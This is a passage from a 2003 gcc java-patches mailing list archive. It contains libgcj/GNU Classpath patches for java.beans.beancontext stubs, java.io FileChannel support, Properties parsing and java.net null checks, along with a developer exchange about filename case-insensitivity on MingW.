+ protected boolean addService (Class serviceClass, BeanContextServiceProvider bcsp, boolean fireEvent) + { + throw new Error ("Not implemented"); + } + + protected void bcsPreDeserializationHook (ObjectInputStream ois) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + protected void bcsPreSerializationHook (ObjectOutputStream oos) + throws IOException + { + throw new Error ("Not implemented"); + } + protected void childJustRemovedHook (Object child, BeanContextSupport.BCSChild bcsc) + { + throw new Error ("Not implemented"); + } + + protected BeanContextSupport.BCSChild createBCSChild (Object targetChild, Object peer) + { + throw new Error ("Not implemented"); + } + + protected BeanContextServicesSupport.BCSSServiceProvider createBCSSServiceProvider (Class sc, BeanContextServiceProvider bcsp) + { + throw new Error ("Not implemented"); + } + + protected final void fireServiceAdded (BeanContextServiceAvailableEvent bcssae) + { + throw new Error ("Not implemented"); + } + + protected final void fireServiceAdded (Class serviceClass) + { + throw new Error ("Not implemented"); + } + + protected final void fireServiceRevoked (BeanContextServiceRevokedEvent bcsre) + { + throw new Error ("Not implemented"); + } + + protected final void fireServiceRevoked (Class serviceClass, boolean revokeNow) + { + throw new Error ("Not implemented"); + } + + public BeanContextServices getBeanContextServicesPeer () + { + throw new Error ("Not implemented"); + } + + protected static final BeanContextServicesListener getChildBeanContextServicesListener (Object child) + { + throw new Error ("Not implemented"); + } + + public Iterator getCurrentServiceClasses () + { + throw new Error ("Not implemented"); + } + + public Iterator getCurrentServiceSelectors (Class serviceClass) + { + throw new Error ("Not implemented"); + } + + public Object getService (BeanContextChild child, Object requestor, Class serviceClass, Object serviceSelector, BeanContextServiceRevokedListener bcsrl) + throws TooManyListenersException + { + throw new Error ("Not implemented"); + } + + public boolean hasService (Class serviceClass) + { + throw new Error ("Not implemented"); + } + + public void initialize () + { + throw new Error ("Not implemented"); + } + + protected void initializeBeanContextResources () + { + throw new Error ("Not implemented"); + } + + protected void releaseBeanContextResources () + { + throw new Error ("Not implemented"); + } + + public void releaseService (BeanContextChild child, Object requestor, Object service) + { + throw new Error ("Not implemented"); + } + + public void removeBeanContextServicesListener (BeanContextServicesListener bcsl) + { + throw new Error ("Not implemented"); + } + + public void revokeService (Class serviceClass, BeanContextServiceProvider bcsp, boolean revokeCurrentServicesNow) + { + throw new Error ("Not implemented"); + } + + public void serviceAvailable (BeanContextServiceAvailableEvent bcssae) + { + throw new Error ("Not implemented"); + } + + public void serviceRevoked (BeanContextServiceRevokedEvent bcssre) + { + throw new Error ("Not implemented"); + } +} Index: java/beans/beancontext/BeanContextSupport.java =================================================================== RCS file: java/beans/beancontext/BeanContextSupport.java diff -N java/beans/beancontext/BeanContextSupport.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/beans/beancontext/BeanContextSupport.java 2 Mar 2003 19:40:56 -0000 @@ -0,0 +1,448 @@ +/* java.beans.beancontext.BeanContextSupport + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.beans.beancontext; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.beans.PropertyVetoException; +import java.beans.VetoableChangeListener; +import java.beans.Visibility; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.net.URL; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Locale; + +/** + * @author Michael Koch + * @since 1.2 + */ +public class BeanContextSupport extends BeanContextChildSupport + implements BeanContext, Serializable, PropertyChangeListener, + VetoableChangeListener +{ + private static final long serialVersionUID = -4879613978649577204L; + + private void readObject (ObjectInputStream s) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + private void writeObject (ObjectOutputStream s) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + protected class BCSChild implements Serializable + { + private static final long serialVersionUID = 3289144128843950629L; + } + + protected static class BCSIterator implements Iterator + { + public boolean hasNext () + { + throw new Error ("Not implemented"); + } + + public Object next () + { + throw new Error ("Not implemented"); + } + + public void remove () + { + // This must be a noop remove operation. + } + } + + protected transient ArrayList bcmListeners; + + protected transient HashMap children; + + protected transient boolean designTime; + + protected transient Locale locale; + + protected transient boolean okToUseGui; + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport () + { + this (null, null, true, true); + } + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport (BeanContext peer) + { + this (peer, null, true, true); + } + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport (BeanContext peer, Locale lcle) + { + this (peer, lcle, true, true); + } + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport (BeanContext peer, Locale lcle, boolean dtime) + { + this (peer, lcle, dtime, true); + } + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport (BeanContext peer, Locale lcle, boolean dtime, + boolean visible) + { + locale = lcle; + designTime = dtime; + okToUseGui = visible; + + initialize (); + + throw new Error ("Not implemented"); + } + + public boolean add (Object targetChild) + { + throw new Error ("Not implemented"); + } + + public boolean addAll (Collection c) + { + throw new Error ("Not implemented"); + } + + public void addBeanContextMembershipListener (BeanContextMembershipListener bcml) + { + throw new Error ("Not implemented"); + } + + public boolean avoidingGui () + { + throw new Error ("Not implemented"); + } + + protected Iterator bcsChildren () + { + throw new Error ("Not implemented"); + } + + protected void bcsPreDeserializationHook (ObjectInputStream ois) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + protected void bcsPreSerializationHook (ObjectOutputStream oos) + throws IOException + { + throw new Error ("Not implemented"); + } + + protected void childDeserializedHook (Object child, BeanContextSupport.BCSChild bcsc) + { + throw new Error ("Not implemented"); + } + + protected void childJustAddedHook (Object child, BeanContextSupport.BCSChild bcsc) + { + throw new Error ("Not implemented"); + } + + protected void childJustRemovedHook (Object child, BeanContextSupport.BCSChild bcsc) + { + throw new Error ("Not implemented"); + } + + protected static final boolean classEquals (Class first, Class second) + { + throw new Error ("Not implemented"); + } + + public void clear () + { + throw new Error ("Not implemented"); + } + + public boolean contains (Object o) + { + throw new Error ("Not implemented"); + } + + public boolean containsAll (Collection c) + { + throw new Error ("Not implemented"); + } + + public boolean containsKey (Object o) + { + throw new Error ("Not implemented"); + } + + protected final Object[] copyChildren () + { + throw new Error ("Not implemented"); + } + + protected BeanContextSupport.BCSChild createBCSChild (Object targetChild, Object peer) + { + throw new Error ("Not implemented"); + } + + protected final void deserialize (ObjectInputStream ois, Collection coll) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + public void dontUseGui () + { + throw new Error ("Not implemented"); + } + + protected final void fireChildrenAdded (BeanContextMembershipEvent bcme) + { + throw new Error ("Not implemented"); + } + + protected final void fireChildrenRemoved (BeanContextMembershipEvent bcme) + { + throw new Error ("Not implemented"); + } + + public BeanContext getBeanContextPeer () + { + throw new Error ("Not implemented"); + } + + protected static final BeanContextChild getChildBeanContextChild (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final BeanContextMembershipListener getChildBeanContextMembershipListener (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final PropertyChangeListener getChildPropertyChangeListener (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final Serializable getChildSerializable (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final VetoableChangeListener getChildVetoableChangeListener (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final Visibility getChildVisibility (Object child) + { + throw new Error ("Not implemented"); + } + + public Locale getLocale () + { + throw new Error ("Not implemented"); + } + + public URL getResource (String name, BeanContextChild bcc) + { + throw new Error ("Not implemented"); + } + + public InputStream getResourceAsStream (String name, BeanContextChild bcc) + { + throw new Error ("Not implemented"); + } + + protected void initialize () + { + throw new Error ("Not implemented"); + } + + public Object instantiateChild (String beanName) + throws IOException, ClassNotFoundException + { + throw new Error ("Not implemented"); + } + + public boolean isDesignTime () + { + throw new Error ("Not implemented"); + } + + public boolean isEmpty () + { + throw new Error ("Not implemented"); + } + + public boolean isSerializing () + { + throw new Error ("Not implemented"); + } + + public Iterator iterator () + { + throw new Error ("Not implemented"); + } + + public boolean needsGui () + { + throw new Error ("Not implemented"); + } + + public void okToUseGui () + { + throw new Error ("Not implemented"); + } + + public void propertyChange (PropertyChangeEvent pce) + { + throw new Error ("Not implemented"); + } + + public final void readChildren (ObjectInputStream ois) + throws IOException, ClassNotFoundException + { + throw new Error ("Not implemented"); + } + + public boolean remove (Object targetChild) + { + throw new Error ("Not implemented"); + } + + protected boolean remove (Object targetChild, boolean callChildSetBC) + { + throw new Error ("Not implemented"); + } + + public boolean removeAll (Collection c) + { + throw new Error ("Not implemented"); + } + + public void removeBeanContextMembershipListener (BeanContextMembershipListener bcml) + { + throw new Error ("Not implemented"); + } + + public boolean retainAll (Collection c) + { + throw new Error ("Not implemented"); + } + + protected final void serialize (ObjectOutputStream oos, Collection coll) + throws IOException + { + throw new Error ("Not implemented"); + } + + public void setDesignTime (boolean dtime) + { + throw new Error ("Not implemented"); + } + + public void setLocale (Locale newLocale) + throws PropertyVetoException + { + throw new Error ("Not implemented"); + } + + public int size () + { + throw new Error ("Not implemented"); + } + + public Object[] toArray () + { + throw new Error ("Not implemented"); + } + + public Object[] toArray (Object[] arry) + { + throw new Error ("Not implemented"); + } + + protected boolean validatePendingAdd (Object targetChild) + { + throw new Error ("Not implemented"); + } + + protected boolean validatePendingRemove (Object targetChild) + { + throw new Error ("Not implemented"); + } + + public void vetoableChange (PropertyChangeEvent pce) + throws PropertyVetoException + { + throw new Error ("Not implemented"); + } + + public final void writeChildren (ObjectOutputStream oos) + throws IOException + { + throw new Error ("Not implemented"); + } +} --Boundary-00=_TRoY+K52gB9dqCC-- From java-patches-return-6364-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 22:25:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4105 invoked by alias); 2 Mar 2003 22:25:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4036 invoked from network); 2 Mar 2003 22:25:01 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 2 Mar 2003 22:25:01 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-81-234.ewetel.net [80.228.81.234]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h22MOvXT003817 for ; Sun, 2 Mar 2003 23:24:59 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: Patch: java.io - java.nio.FileChannel support Date: Sun, 2 Mar 2003 23:25:12 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_IToY+Uv+vitGhcd" Message-Id: <200303022325.12902.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_IToY+Uv+vitGhcd Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I wrote a little patch to add java.nio.FileChannel support to java.io. Please review and comment. BTW: This doesnt mean java.nio in CVS works. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YoTIWSOgCCdjSDsRAskFAKCJ3B6wMlmXDrcBL+l45wiIIu6dGgCfR8mo q1PtJElxCxIC7fGMdougtTQ=3D =3D9SkB =2D----END PGP SIGNATURE----- --Boundary-00=_IToY+Uv+vitGhcd Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1761 diff -u -r1.1761 ChangeLog --- ChangeLog 2 Mar 2003 21:25:59 -0000 1.1761 +++ ChangeLog 2 Mar 2003 22:20:32 -0000 @@ -1,5 +1,18 @@ 2003-03-02 Michael Koch + * java/io/FileInputStream.java + (getChannel): New implementation. + * java/io/FileOutputStream.java + (ch): New member variable. + (getChannel): Implemented. + * java/io/RandomAccessFile.java + (RandomAccessFile): Throws FileNotFoundException instead of + IOException. + (getChannel): New method. + (ch): New member variable. + +2003-03-02 Michael Koch + * java/net/NetPermission.java: Merged copyright with classpath. Index: java/io/FileInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileInputStream.java,v retrieving revision 1.9 diff -u -r1.9 FileInputStream.java --- java/io/FileInputStream.java 4 Jan 2003 00:08:11 -0000 1.9 +++ java/io/FileInputStream.java 2 Mar 2003 22:20:32 -0000 @@ -9,6 +9,7 @@ package java.io; import java.nio.channels.FileChannel; +import gnu.java.nio.FileChannelImpl; /** * @author Warren Levy @@ -99,6 +100,12 @@ public FileChannel getChannel () { - return ch; + synchronized (this) + { + if (ch == null) + ch = new FileChannelImpl (fd, false, this); + + return ch; + } } } Index: java/io/FileOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileOutputStream.java,v retrieving revision 1.5 diff -u -r1.5 FileOutputStream.java --- java/io/FileOutputStream.java 20 Nov 2002 16:19:05 -0000 1.5 +++ java/io/FileOutputStream.java 2 Mar 2003 22:20:32 -0000 @@ -11,6 +11,7 @@ package java.io; import java.nio.channels.FileChannel; +import gnu.java.nio.FileChannelImpl; /** * @author Tom Tromey @@ -93,11 +94,18 @@ fd.close(); } - // Instance variables. - private FileDescriptor fd; - public FileChannel getChannel () { - return null; + synchronized (this) + { + if (ch == null) + ch = new FileChannelImpl (fd, true, this); + + return ch; + } } + + // Instance variables. + private FileDescriptor fd; + private FileChannel ch; } Index: java/io/RandomAccessFile.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/RandomAccessFile.java,v retrieving revision 1.8 diff -u -r1.8 RandomAccessFile.java --- java/io/RandomAccessFile.java 13 Aug 2002 23:10:11 -0000 1.8 +++ java/io/RandomAccessFile.java 2 Mar 2003 22:20:32 -0000 @@ -10,6 +10,9 @@ package java.io; +import java.nio.channels.FileChannel; +import gnu.java.nio.FileChannelImpl; + /** * @author Tom Tromey * @date September 25, 1998 @@ -50,7 +53,8 @@ return fd.length(); } - public RandomAccessFile (String fileName, String mode) throws IOException + public RandomAccessFile (String fileName, String mode) + throws FileNotFoundException { int fdmode; if (mode.compareTo ("r") == 0) @@ -73,7 +77,7 @@ in = new DataInputStream (new FileInputStream (fd)); } - public RandomAccessFile (File file, String mode) throws IOException + public RandomAccessFile (File file, String mode) throws FileNotFoundException { this (file.getPath(), mode); } @@ -248,10 +252,21 @@ out.writeUTF(s); } + public FileChannel getChannel () + { + synchronized (this) + { + if (ch == null) + ch = new FileChannelImpl (fd, true, this); + + return ch; + } + } // The underlying file. private FileDescriptor fd; // The corresponding input and output streams. private DataOutputStream out; private DataInputStream in; + private FileChannel ch; } --Boundary-00=_IToY+Uv+vitGhcd-- From java-patches-return-6365-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 22:31:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6331 invoked by alias); 2 Mar 2003 22:31:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6324 invoked from network); 2 Mar 2003 22:31:04 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 2 Mar 2003 22:31:04 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18pbyd-0002sI-00 for ; Sun, 02 Mar 2003 23:30:35 +0100 Subject: FYI: Properties fixlet From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-o+1W0MvawGvJFBu8yvhm" Organization: Message-Id: <1046644262.19772.589.camel@elsschot> Mime-Version: 1.0 Date: 02 Mar 2003 23:31:02 +0100 --=-o+1W0MvawGvJFBu8yvhm Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following fixes the last real Mauve failure. 2003-03-02 Mark Wielaard * java/util/Properties.java (load): Only skip line if the first character is a comment, whitespaces don't count. I also cleaned up the Mauve Properties test and with the above we now pass them all. Which also cleans up out mauve xfails file. 2003-03-02 Mark Wielaard * libjava.mauve/xfails: Remove all AcuniaPropertiesTest failures I am committing these to branch and mainline. Cheers, Mark --=-o+1W0MvawGvJFBu8yvhm Content-Disposition: inline; filename=Properties.patch Content-Type: text/x-patch; name=Properties.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/util/Properties.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/Properties.java,v retrieving revision 1.16 diff -u -r1.16 Properties.java --- java/util/Properties.java 17 Feb 2003 19:05:56 -0000 1.16 +++ java/util/Properties.java 2 Mar 2003 22:28:52 -0000 @@ -188,13 +188,17 @@ { char c = 0; int pos = 0; + // If empty line or begins with a comment character, skip this line. + if (line.length() == 0 + || line.charAt(0) == '#' || line.charAt(0) == '!') + continue; + while (pos < line.length() && Character.isWhitespace(c = line.charAt(pos))) pos++; - // If line is empty or begins with a comment character, - // skip this line. - if (pos == line.length() || c == '#' || c == '!') + // If line is empty skip this line. + if (pos == line.length()) continue; // The characters up to the next Whitespace, ':', or '=' --=-o+1W0MvawGvJFBu8yvhm Content-Disposition: inline; filename=xfails.patch Content-Type: text/x-patch; name=xfails.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: libjava.mauve/xfails =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.mauve/xfails,v retrieving revision 1.13 diff -u -r1.13 xfails --- libjava.mauve/xfails 16 Feb 2003 14:47:03 -0000 1.13 +++ libjava.mauve/xfails 2 Mar 2003 22:29:42 -0000 @@ -100,10 +100,3 @@ FAIL: gnu.testlet.java.net.URL.URLTest: new URL(protocol, host, file) (number 26) FAIL: gnu.testlet.java.net.URL.URLTest: new URL(protocol, host, file) (number 54) FAIL: gnu.testlet.java.net.MulticastSocket.MulticastSocketTest: joinGroup() twice. (number 1) -FAIL: gnu.testlet.java.util.Properties.AcuniaPropertiesTest: should throw NullPointerException -- 1 (number 1) -FAIL: gnu.testlet.java.util.Properties.AcuniaPropertiesTest: v does not contain:$longvalue=I'mtryingtogiveavaluelongerthen40characters$ (number 1) -FAIL: gnu.testlet.java.util.Properties.AcuniaPropertiesTest: should throw NullPointerException -- 1 (number 1) -FAIL: gnu.testlet.java.util.Properties.AcuniaPropertiesTest: all elements are the same (number 1) -FAIL: gnu.testlet.java.util.Properties.AcuniaPropertiesTest: checkvalue -- got:$ents=$ (number 1) -FAIL: gnu.testlet.java.util.Properties.AcuniaPropertiesTest: checkvalue -- got:$dog=nocat $ (number 1) -FAIL: gnu.testlet.java.util.Properties.AcuniaPropertiesTest: check if all elements were found -- got: [dog=no\cat ] (number 1) --=-o+1W0MvawGvJFBu8yvhm-- From java-patches-return-6366-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 03 08:27:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5802 invoked by alias); 3 Mar 2003 08:27:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5519 invoked from network); 3 Mar 2003 08:27:41 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 3 Mar 2003 08:27:41 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-64-151.ewetel.net [80.228.64.151]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h238RdXR001868 for ; Mon, 3 Mar 2003 09:27:39 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: java.net - merges with classpath Date: Mon, 3 Mar 2003 09:28:08 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ZIxY+Nw09DoWrfI" Message-Id: <200303030928.12079.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ZIxY+Nw09DoWrfI Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commit the attached patch to merge some things in java.net from=20 classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YxIcWSOgCCdjSDsRAmfUAJ4jUYffPhgWR+xUgvCFuK9kG+F0kgCglsqV ckcj5aB2gnHE4c1WMy9Altc=3D =3DkM7W =2D----END PGP SIGNATURE----- --Boundary-00=_ZIxY+Nw09DoWrfI Content-Type: text/x-diff; charset="iso-8859-15"; name="net.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="net.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1762 diff -u -r1.1762 ChangeLog --- ChangeLog 2 Mar 2003 22:36:20 -0000 1.1762 +++ ChangeLog 3 Mar 2003 08:25:55 -0000 @@ -1,3 +1,17 @@ +2003-03-03 Michael Koch + + * java/net/DatagramSocket.java + (connect): Merged comment from classpath. + (receive): Merged documentation from classpath. + * java/net/Socket.java + (setSoTimeout): Clarified documentation. + * java/net/URL.java + (getPath): Merged from classpath. + (getUserInfo): Merged from classpath. + (getQuery): Merged from classpath. + * java/net/URLStreamHandler.java + (toExternalForm): Merged from classpath. + 2003-03-02 Mark Wielaard * java/util/Properties.java (load): Only skip line if the first Index: java/net/DatagramSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/DatagramSocket.java,v retrieving revision 1.20 diff -u -r1.20 DatagramSocket.java --- java/net/DatagramSocket.java 2 Mar 2003 13:50:04 -0000 1.20 +++ java/net/DatagramSocket.java 3 Mar 2003 08:25:55 -0000 @@ -466,6 +466,7 @@ } catch (SocketException e) { + // This means simply not connected. } } @@ -488,9 +489,9 @@ * will block until a packet is received from the network. On return, * the passed in DatagramPacket is populated with the data * received and all the other information about the packet. - * - * @param p The datagram packet to put the incoming data into. - * + * + * @param p A DatagramPacket for storing the data + * * @exception IOException If an error occurs. * @exception SocketTimeoutException If setSoTimeout was previously called * and the timeout has expired. Index: java/net/Socket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/Socket.java,v retrieving revision 1.19 diff -u -r1.19 Socket.java --- java/net/Socket.java 13 Feb 2003 07:33:39 -0000 1.19 +++ java/net/Socket.java 3 Mar 2003 08:25:56 -0000 @@ -692,10 +692,10 @@ * this option implies that there is no timeout (ie, operations will * block forever). On systems that have separate read and write timeout * values, this method returns the read timeout. This - * value is in thousandths of a second (****????*****) + * value is in milliseconds. * - * @param timeout The length of the timeout in thousandth's of a second or - * 0 if not set + * @param timeout The length of the timeout in milliseconds, or + * 0 to indicate no timeout. * * @exception SocketException If an error occurs or Socket not connected * Index: java/net/URL.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/URL.java,v retrieving revision 1.16 diff -u -r1.16 URL.java --- java/net/URL.java 22 Nov 2002 16:48:52 -0000 1.16 +++ java/net/URL.java 3 Mar 2003 08:25:56 -0000 @@ -472,8 +472,8 @@ */ public String getPath() { - int quest = file.indexOf('?'); - return quest < 0 ? file : file.substring(0, quest); + int quest = (file == null) ? -1 : file.indexOf('?'); + return quest < 0 ? getFile() : file.substring(0, quest); } /** @@ -544,7 +544,7 @@ */ public String getUserInfo () { - int at = host.indexOf('@'); + int at = (host == null) ? -1 : host.indexOf('@'); return at < 0 ? null : host.substring(0, at); } @@ -556,7 +556,7 @@ */ public String getQuery () { - int quest = file.indexOf('?'); + int quest = (file == null) ? -1 : file.indexOf('?'); return quest < 0 ? null : file.substring(quest + 1, file.length()); } Index: java/net/URLStreamHandler.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/URLStreamHandler.java,v retrieving revision 1.15 diff -u -r1.15 URLStreamHandler.java --- java/net/URLStreamHandler.java 1 Mar 2003 23:38:13 -0000 1.15 +++ java/net/URLStreamHandler.java 3 Mar 2003 08:25:56 -0000 @@ -451,8 +451,11 @@ int size = protocol.length() + host.length() + file.length() + 24; StringBuffer sb = new StringBuffer(size); - sb.append(protocol); - sb.append(':'); + if (protocol != null && protocol.length() > 0) + { + sb.append(protocol); + sb.append(":"); + } if (host.length() != 0) sb.append("//").append(host); --Boundary-00=_ZIxY+Nw09DoWrfI-- From java-patches-return-6367-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 03 10:41:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26232 invoked by alias); 3 Mar 2003 10:41:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26225 invoked from network); 3 Mar 2003 10:41:30 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 3 Mar 2003 10:41:30 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-12.rdu.redhat.com [172.16.50.12]) by executor.cambridge.redhat.com (Postfix) with ESMTP id D6AFAABB05; Mon, 3 Mar 2003 10:41:26 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h23Af7V24729; Mon, 3 Mar 2003 10:41:07 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15971.12610.995923.430710@cuddles.cambridge.redhat.com> Date: Mon, 3 Mar 2003 10:41:06 +0000 (GMT) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 In-Reply-To: <7SQFDGVQMIB9B8XV6XKI74CAED3Z.3e624383@p733> References: <15970.13149.302632.834198@cuddles.cambridge.redhat.com> <7SQFDGVQMIB9B8XV6XKI74CAED3Z.3e624383@p733> Mohan Embar writes: > > > > I'm going to stick my neck out here: would it be ethically/morally > > > objectionable to have platform-dependent files where we call into > > > platform-dependent same-named functions for things like these? > > > >In principle, but if we ever get into that much platform-dependent > >complexity in the compiler front end we are going it totally the > >wrong direction. > > Why the distinction between the compiler front end and elsewhere in > gcj? Everywhere I look in the code, MingW seems like the > proverbial black sheep, causing trouble and stirring things up for > the POSIX world. I agree with the general principle that > platform-specific code forks are undesirable, but why would the > compiler front end be more undesirable? Because I don't think that it should be necessary. A few #defines for nasties like case-insensitivity are perhaps acceptable, but beyond that, no. If there is so much of a difference between the environments then perhaps we (or really MingW) need a library into which compatibility functions can go. > (A sidenote: the MingW build breaks at exactly the same place as this > attempted Mac OSX build: http://gcc.gnu.org/ml/java/2003-02/msg00325.html) > > > > And if you're worried about performance on UNIX in the case of > > > something like strcmp, > > > >In the front end? No way. It must be right. > > I didn't understand your last sentence. By "It must be right", do you > mean: "it must be implemented correctly/properly"?. I mean "it" must be correct, and I don't want to start having #ifdefs around strcmp/strcasecmp for the sake _only_ of efficiency. We must do it -- whatever it is -- correctly on the platform on which the compiler runs. If strcasecmp is correct on UNIX, we can use strcasecmp on all platforms. But I don't think strcasecmp is correct on UNIX. > > > do a #define where things would resolve to the real deal on UNIX, > > > but a function call into the platform- dependent file on Win32? > > > > > > I'm asking this because there are a few strategic opens / fopens > > > in jcf-*.c which, if you checked for the existence of the file > > > of the exact case on Win32, you would get the compiler working > > > on MingW. > > > >This should be possible to parameterize with a macro in the same way. > >Go for it. > > I had thought about this too, but then I asked myself a general question: > how much of this macro stuff do we want to get into? The only advantage > I can see of a macro is to spare the overhead of another level of > indirection (another function call). I don't think the distinction between functions and macros is important. If it's something short and simple, make it a macro. In this case AFAIK you only have to check the case of the file when you open it. But I'm not dictatorial about this. Try it and see what it looks like. Andrew. From java-patches-return-6368-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 03 10:53:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30188 